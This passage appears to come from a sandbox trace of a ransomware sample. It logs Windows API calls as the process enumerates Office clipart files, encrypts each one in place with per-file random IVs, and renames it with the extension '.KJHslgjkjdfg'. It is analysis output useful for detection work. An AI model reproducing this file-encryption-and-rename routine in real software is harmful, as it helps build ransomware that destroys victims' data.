lpNewFilePointer=0x0) returned 1 [0179.877] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.879] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.879] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.879] GetProcessHeap () returned 0x2a0000 [0179.879] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.879] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.879] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.879] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.879] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.880] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.880] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.880] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.880] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.880] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.880] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.880] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.880] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2a18, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2a18, lpOverlapped=0x0) returned 1 [0179.881] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2a20, dwBufLen=0x2a20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2a20) returned 1 [0179.881] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.882] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2a20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2a20, lpOverlapped=0x0) returned 1 [0179.882] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.882] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.882] SetEndOfFile (hFile=0x114) returned 1 [0179.884] GetProcessHeap () returned 0x2a0000 [0179.885] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.885] GetProcessHeap () returned 0x2a0000 [0179.885] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.885] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf.kjhslgjkjdfg")) returned 1 [0179.886] CloseHandle (hObject=0x114) returned 1 [0179.886] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1484, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199475.WMF", cAlternateFileName="")) returned 1 [0179.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.888] GetProcessHeap () returned 0x2a0000 [0179.888] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.888] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.888] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.889] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0179.891] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.891] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.891] GetProcessHeap () returned 0x2a0000 [0179.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.891] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.891] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.891] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.891] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.891] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.891] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.892] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.892] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.892] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.892] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.892] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.892] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1484, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1484, lpOverlapped=0x0) returned 1 [0179.893] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1490, dwBufLen=0x1490 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1490) returned 1 [0179.893] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.893] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1490, lpOverlapped=0x0) returned 1 [0179.893] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.893] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.893] SetEndOfFile (hFile=0x114) returned 1 [0179.896] GetProcessHeap () returned 0x2a0000 [0179.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.896] GetProcessHeap () returned 0x2a0000 [0179.896] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.896] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf.kjhslgjkjdfg")) returned 1 [0179.898] CloseHandle (hObject=0x114) returned 1 [0179.898] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199483.WMF", cAlternateFileName="")) returned 1 [0179.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.899] GetProcessHeap () returned 0x2a0000 [0179.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.899] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.899] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.899] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0179.901] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.902] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.902] GetProcessHeap () returned 0x2a0000 [0179.902] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.902] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.902] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.902] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.902] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.902] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.902] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.902] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.902] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.903] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.903] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.903] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.903] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x27b4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x27b4, lpOverlapped=0x0) returned 1 [0179.911] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x27c0, dwBufLen=0x27c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x27c0) returned 1 [0179.911] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.911] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x27c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x27c0, lpOverlapped=0x0) returned 1 [0179.911] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.911] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.911] SetEndOfFile (hFile=0x114) returned 1 [0179.914] GetProcessHeap () returned 0x2a0000 [0179.914] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.914] GetProcessHeap () returned 0x2a0000 [0179.914] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.914] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf.kjhslgjkjdfg")) returned 1 [0179.916] CloseHandle (hObject=0x114) returned 1 [0179.916] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dbde600, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6dbde600, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x302c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199609.WMF", cAlternateFileName="")) returned 1 [0179.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.917] GetProcessHeap () returned 0x2a0000 [0179.917] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.917] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.917] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.917] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.920] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.920] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.920] GetProcessHeap () returned 0x2a0000 [0179.920] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.920] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.920] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.920] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.920] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.920] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.920] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.920] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.920] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.920] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.921] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.921] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.921] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x302c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x302c, lpOverlapped=0x0) returned 1 [0179.923] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3030, dwBufLen=0x3030 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3030) returned 1 [0179.923] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.923] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3030, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3030, lpOverlapped=0x0) returned 1 [0179.924] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.924] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.924] SetEndOfFile (hFile=0x114) returned 1 [0179.927] GetProcessHeap () returned 0x2a0000 [0179.927] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.927] GetProcessHeap () returned 0x2a0000 [0179.927] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.927] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf.kjhslgjkjdfg")) returned 1 [0179.928] CloseHandle (hObject=0x114) returned 1 [0179.929] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2004, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200151.WMF", cAlternateFileName="")) returned 1 [0179.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.931] GetProcessHeap () returned 0x2a0000 [0179.931] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.931] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.931] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.931] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0179.933] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.934] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.934] GetProcessHeap () returned 0x2a0000 [0179.934] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.934] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.934] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.934] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.934] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, 